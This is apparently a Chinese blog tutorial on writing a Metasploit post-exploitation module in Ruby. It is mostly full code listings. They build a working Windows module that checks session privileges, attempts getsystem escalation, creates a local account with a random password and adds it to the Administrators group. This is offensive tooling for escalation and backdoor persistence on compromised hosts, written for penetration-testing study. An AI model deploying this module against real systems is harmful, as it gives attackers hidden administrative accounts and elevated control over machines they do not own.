本文最后更新于:2021 , 四月 24日 星期六, 8:53 早上

0x00 简介

学习文章:(文章99%的代码来自下列学习文章中)

雷神众测 - 打造Metasploit

三米前有蕉皮 - Metasploit后渗透模块开发

官方文档:

Github源码

metasploit Post Wiki

刚开始看,就挑简单的先写,因为msf使用的函数,需要自己在源码中查看,wiki也有一部分,但是没写全

不要问我为啥不看,问就是懒,没救了

0x01 基础格式讲解

require 'msf/core'

class MetasploitModule < Msf::Post

    def initialize(info={})
        super(update_info(info,
        'Name'          => '[Platform] [Module Category] [Software] [Function]',
        'Description'   => %q{
          Say something that the user might want to know.
        },
        'License'       => MSF_LICENSE,
        'Author'        => [ 'Name' ],
        'Platform'      => [ 'win', 'linux', 'osx', 'unix', 'bsd' ],
        'SessionTypes'  => [ 'meterpreter', 'shell' ]
        ))
    end
end

在MSF中编写模块,无论是编写exploit、Auxiliary、Post或其他模块,都需要导入MSF的核心库require 'msf/core'

MSF中规定模块的编写必须在MetasploitModule类中进行编写,类名是固定的!

类名后的< Msf::Post表示该类继承自MSF核心库中的Post,继承核心库的哪个大模块,根据个人决定

Ps: Ruby不支持多继承,但是Ruby支持mixin来实现

initialize构造函数中的super函数写的是该模块的详细信息

Name: 名称

Description:描述

Author:作者

License:许可

Platform:支持的平台

SessionTypes:meterpreter支持的session或shell

0x02 检查当前获取的权限

require 'msf/core'

class MetasploitModule < Msf::Post
    include Msf::Post::Windows::Priv

    def initialize(info={})
        super(update_info(
            info,
            'Name' => 'Check Permissions',
            'Description' => %{查看会话权限及添加用户名到本地组},
            'License' => MSF_LICENSE,
            'Author' => 'AnonySec@DropLab',
            'Platform'      => [ 'win' ], # 表示仅支持win平台
            'SessionTypes'  => [ 'meterpreter' ] # 表明该模块可以在session上进行操控
        ))
    end
end

include Msf::Post::Windows::Priv:表示包含MSF核心库下的Post模块中windows的Priv文件

这样做,可以在类中直接使用该文件的函数

Ps: 在Ruby函数调用无参函数时,可以不加括号!!!

文件路径是:/lib/msf/core/post/windows/priv.rb

让代码运行起来,在Post模块下几乎是编写在run()中的,同样是写在MetasploitModule类中

def run
    print_status("检查Session会话权限")
    admin_check = is_admin?
    if(admin_check)
        print_good("Current User is Admin")
    else
        print_error("Cuttent User is Not Admin")
    end

    # 检查操作系统版本
    win_ver = sysinfo["OS"]
    print_good("Target Os: #{win_ver}")
end

MSF中的控制台输出语句:(只列举该文中使用的)

1、print_error(str):失败打印,红色

2、print_good(str):成功打印,绿色

3、print_status(str):状态打印,蓝色

is_admin是一个函数,用来检查当前会话的权限,成功返回true,失败fasle

is_admin函数来自于:Msf::Post::Windows::Priv,如果不进行包含,则无法进行使用

0x03 MSF导入并使用

  • 在msf打开的情况下,导入自己使用的模块

把自己写的脚本放入对应的模块中,例如:我这里写的是Post的模块,就放入到Post模块下的windows

文件名:session_test.rb

然后在msf中使用reload_all重新加载全部模块

  • 没打开msf的情况下,导入自己的模块

直接把自己写的脚本放入到对应模块中,然后启用msfconsole使用即可

导入不成功采坑记录:

1、你的语法有错误,导致了无法成功导入

2、命名问题

如果还是不行,建议查看MSF的错误日志:/root/.msf4/logs/framework.log

查找错误对应的错误,然后下面有写错误原因

效果查看:

0x04 添加自带提权

如果当前会话是低权限时,自动尝试获取高权限,然后添加一个选项表示可以手动关闭

  • 先编写提权函数
def getsystem
    results = session.priv.getsystem # 进行getsystem提权

    if results[0]
        return true # 提权成功
    else
        return false # 提权失败
    end
end
  • 添加选项:使用register_options()进行注册选项

在构造函数initialize中进行注册,可以注册多个基本数据进行存储

注册选项就是在msf中使用show options显示的选项

Name:名称

Current Setting:当前设置

Required:参数是否为必填项,false / true

Description: 描述

register_options([
    OptBool.new('GetSystem',[true,'获取目标System权限.',false])
    ])

说明:OptBool.new(Name,[Required,Description,Current Setting]),把里面的参数对应上面的说明

直接贴完整的代码:对Run的修改也在其中

require 'msf/core'

class MetasploitModule < Msf::Post
    include Msf::Post::Windows::Priv
    def initialize(info={})
        super(update_info(
            info,
            'Name' => 'Check Permissions',
            'Description' => %{查看会话权限及添加用户名到本地组},
            'License' => MSF_LICENSE,
            'Author' => 'AnonySec@DropLab',
            'Platform'      => [ 'win' ],
            'SessionTypes'  => [ 'meterpreter' ] # 表明该模块可以在session上进行操控
        ))

        register_options([
            OptBool.new('GetSystem',[true,'获取目标System权限.',false])
        ])
    end

    # 尝试进行提权
    def getsystem
        results = session.priv.getsystem # 进行getsystem提权

        if results[0]
            return true # 提权成功
        else
            return false # 提权失败
        end
    end

    def adminuser_check
        admin_check = is_admin?
        if(admin_check)
            print_good("Current User is Admin")
        else
            print_error("Cuttent User is Not Admin")
        end
    end


    # 程序 Run
    def run
        print_status("检查Session会话权限")
        adminuser_check

        # 检查操作系统版本
        win_ver = sysinfo["OS"]
        print_good("Target Os: #{win_ver}")

        # 判断是否需要提权
        # print_status("正在尝试提权ing")
        if !is_system? # 判断是不是系统权限
            if datastore['GetSystem'] # 查看默认注册选项,是不是开启的
                print_status("正在尝试提权ing")
                if getsystem
                    print_good("获取权限成功")
                else
                    print_error("获取权限失败")
                end
            end
        else
            print_good("当前权限为System")
        end
    end
end

datastore变量中存储的是所有注册选项的值

0x05 添加用户

  • 注册三个选项:用户和密码及是否添加用户
register_options([
    OptBool.new('GetSystem',[true,'获取目标System权限.',false]),
    OptBool.new('Add_user',[false,'是否添加用户']),
    OptString.new('UserName',[false,'用户名',]),
    OptString.new('PassWord',[false,'密码',])
])

在进行添加用户之前,我们需要注意的是该系统中是否该相同的用户!

  • 枚举当前系统的用户
# 查询当前系统是否包含该用户
def check_user(user)
    enum_user.include?(user)
end

enum_user:枚举用户

  • 添加用户模块
def adduser
    if datastore['PassWord'].nil? # 判断密码是否创建
        # 创建随机8位密码
        datastore['PassWord'] = Rex::Text.rand_text_alphanumeric(6) + Rex::Text.rand_text_numeric(2)
        print_status("你没有设置密码,默认密码:#{datastore['PassWord']}")
    end

    # 添加用户
    if check_user(datastore['UserName'])
        print_error("当前用户已有该用户:#{datastore['UserName']}")
        return
    else
        result = add_user(datastore['UserName'],datastore['PassWord']) # 添加用户
        if result['return'] == 0
            print_good("添加用户:#{datastore['UserName']} : #{datastore['PassWord']}")
        else
            print_error("添加用户失败")
        end
    end
end

datastore['PassWord'] = Rex::Text.rand_text_alphanumeric(6) + Rex::Text.rand_text_numeric(2)

当用户没有设置密码的时候,我们创建一个8位的随机密码给用户

rand_text_alphanumeric:生成随机字母字符

rand_text_numeric:生成随机数字字符

这两个函数位于:/lib/msf/core/exploit.rb

add_user(用户,密码):添加用户的函数

文件位置:/lib/msf/core/post/windows/accounts.rb

  • 完整代码和使用效果
require 'msf/core'

class MetasploitModule < Msf::Post
    include Msf::Post::Windows::Priv
    def initialize(info={})
        super(update_info(
            info,
            'Name' => 'Check Permissions',
            'Description' => %{查看会话权限及添加用户名到本地组},
            'License' => MSF_LICENSE,
            'Author' => 'AnonySec@DropLab',
            'Platform'      => [ 'win' ],
            'SessionTypes'  => [ 'meterpreter' ] # 表明该模块可以在session上进行操控
        ))

        register_options([
            OptBool.new('GetSystem',[true,'获取目标System权限.',false]),
            OptBool.new('Add_user',[false,'是否添加用户']),
            OptString.new('UserName',[false,'用户名',]),
            OptString.new('PassWord',[false,'密码',])
        ])
    end

    # 尝试进行提权
    def getsystem
        results = session.priv.getsystem # 进行getsystem提权

        if results[0]
            return true # 提权成功
        else
            return false # 提权失败
        end
    end

    def adminuser_check
        admin_check = is_admin?
        if(admin_check)
            print_good("Current User is Admin")
        else
            print_error("Cuttent User is Not Admin")
        end
    end

    # 查询当前系统是否包含该用户
    def check_user(user)
        enum_user.include?(user)
    end

    # 添加用户
    def adduser(username,password)
        if password.nil? # 判断密码是否创建
            # 创建随机8位密码
            password = Rex::Text.rand_text_alphanumeric(6) + Rex::Text.rand_text_numeric(2)
            print_status("你没有设置密码,默认密码:#{password}")
        end

        # 添加用户
        if check_user(username)
            print_error("当前用户已有该用户:#{username}")
            return
        else
            result = add_user(username,password) # 添加用户
            if result['return'] == 0
                print_good("添加用户:#{username} : #{password}")
            else
                print_error("添加用户失败")
            end
        end
    end

    # 程序 Run
    def run
        print_status("检查Session会话权限")
        adminuser_check

        # 检查操作系统版本
        win_ver = sysinfo["OS"]
        print_good("Target Os: #{win_ver}")

        # 判断是否需要提权
        # print_status("正在尝试提权ing")
        if !is_system? # 判断是不是系统权限
            if datastore['GetSystem'] # 查看默认注册选项,是不是开启的
                print_status("正在尝试提权ing")
                if getsystem
                    print_good("获取权限成功")
                else
                    print_error("获取权限失败")
                end
            end
        else
            print_good("当前权限为System")
        end

        # 添加用户
        if datastore['Add_user']
            adduser(datastore['UserName'],datastore['PassWord'])
        end
    end
end

0x06 添加到本地用户组

这里就不用注册什么选项了,毕竟一般添加用户名都是直接添加到管理员组一步到位!直接改脚本即可

  • 修改adduser函数
# 添加用户
def adduser(username,password)
    if password.nil? # 判断密码是否创建
    # 创建随机8位密码
        password = Rex::Text.rand_text_alphanumeric(6) + Rex::Text.rand_text_numeric(2)
        print_status("你没有设置密码,默认密码:#{password}")
    end

    admin_sid = resolve_sid("S-1-5-32-544") # 处理sid

    if !admin_sid[:mapped]
        print_error("Administrators group is not mapped") if !admin_sid[:mapped] # 没有映射Administrators组
        print_error("Not adding user #{username}") # 没有添加用户
        return
    end

    admin = admin_sid[:name] # 本地组名

    # 添加用户
    if check_user(username)
        print_error("当前用户已有该用户:#{username}")
        return
    else
        result = add_user(username,password) # 添加用户
        if result['return'] == 0
            print_good("添加用户:#{username} : #{password}")
            add_members_localgroup(admin,username)
            print_good("添加到管理员组成功!")
        else
            print_error("添加失败")
        end
    end
end

resolve_sid(SID):检查指定的SID帐户

add_members_localgroup(localgroup, username):添加进管理员组

文件路径:/lib/msf/core/post/windows/accounts.rb

  • 完整代码
require 'msf/core'

class MetasploitModule < Msf::Post
    include Msf::Post::Windows::Priv
    def initialize(info={})
        super(update_info(
            info,
            'Name' => 'Check Permissions',
            'Description' => %{查看会话权限及添加用户名到本地组},
            'License' => MSF_LICENSE,
            'Author' => 'AnonySec@DropLab',
            'Platform'      => [ 'win' ],
            'SessionTypes'  => [ 'meterpreter' ] # 表明该模块可以在session上进行操控
        ))

        register_options([
            OptBool.new('GetSystem',[true,'获取目标System权限.',false]),
            OptBool.new('Add_user',[false,'是否添加用户']),
            OptString.new('UserName',[false,'用户名',]),
            OptString.new('PassWord',[false,'密码',])
        ])
    end

    # 尝试进行提权
    def getsystem
        results = session.priv.getsystem # 进行getsystem提权

        if results[0]
            return true # 提权成功
        else
            return false # 提权失败
        end
    end

    def adminuser_check
        admin_check = is_admin?
        if(admin_check)
            print_good("Current User is Admin")
        else
            print_error("Cuttent User is Not Admin")
        end
    end

    # 查询当前系统是否包含该用户
    def check_user(user)
        enum_user.include?(user)
    end

    # 添加用户
    def adduser(username,password)
        if password.nil? # 判断密码是否创建
            # 创建随机8位密码
            password = Rex::Text.rand_text_alphanumeric(6) + Rex::Text.rand_text_numeric(2)
            print_status("你没有设置密码,默认密码:#{password}")
        end

        admin_sid = resolve_sid("S-1-5-32-544") # 处理sid

        if !admin_sid[:mapped]
            print_error("Administrators group is not mapped") if !admin_sid[:mapped] # 没有映射Administrators组
            print_error("Not adding user #{username}") # 没有添加用户
            return
        end

        admin = admin_sid[:name]

        # 添加用户
        if check_user(username)
            print_error("当前用户已有该用户:#{username}")
            return
        else
            result = add_user(username,password) # 添加用户
            if result['return'] == 0
                print_good("添加用户:#{username} : #{password}")
                add_members_localgroup(admin,username)
                print_good("添加到管理员组成功!")
            else
                print_error("添加失败")
            end
        end
    end

    # 程序 Run
    def run
        print_status("检查Session会话权限")
        adminuser_check

        # 检查操作系统版本
        win_ver = sysinfo["OS"]
        print_good("Target Os: #{win_ver}")

        # 判断是否需要提权
        # print_status("正在尝试提权ing")
        if !is_system? # 判断是不是系统权限
            if datastore['GetSystem'] # 查看默认注册选项,是不是开启的
                print_status("正在尝试提权ing")
                if getsystem
                    print_good("获取权限成功")
                else
                    print_error("获取权限失败")
                end
            end
        else
            print_good("当前权限为System")
        end

        # 添加用户
        if datastore['Add_user']
            adduser(datastore['UserName'],datastore['PassWord'])
        end
    end
end

  • 总结:

使用MSF编写模块,大部分情况下使用MSF自带的函数就可以完成

唯一让人头疼的就是,模块有点多,需要你自己查看函数的定义


随手记      Linux

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

CVE-2021-3156 Sudo提权漏洞复现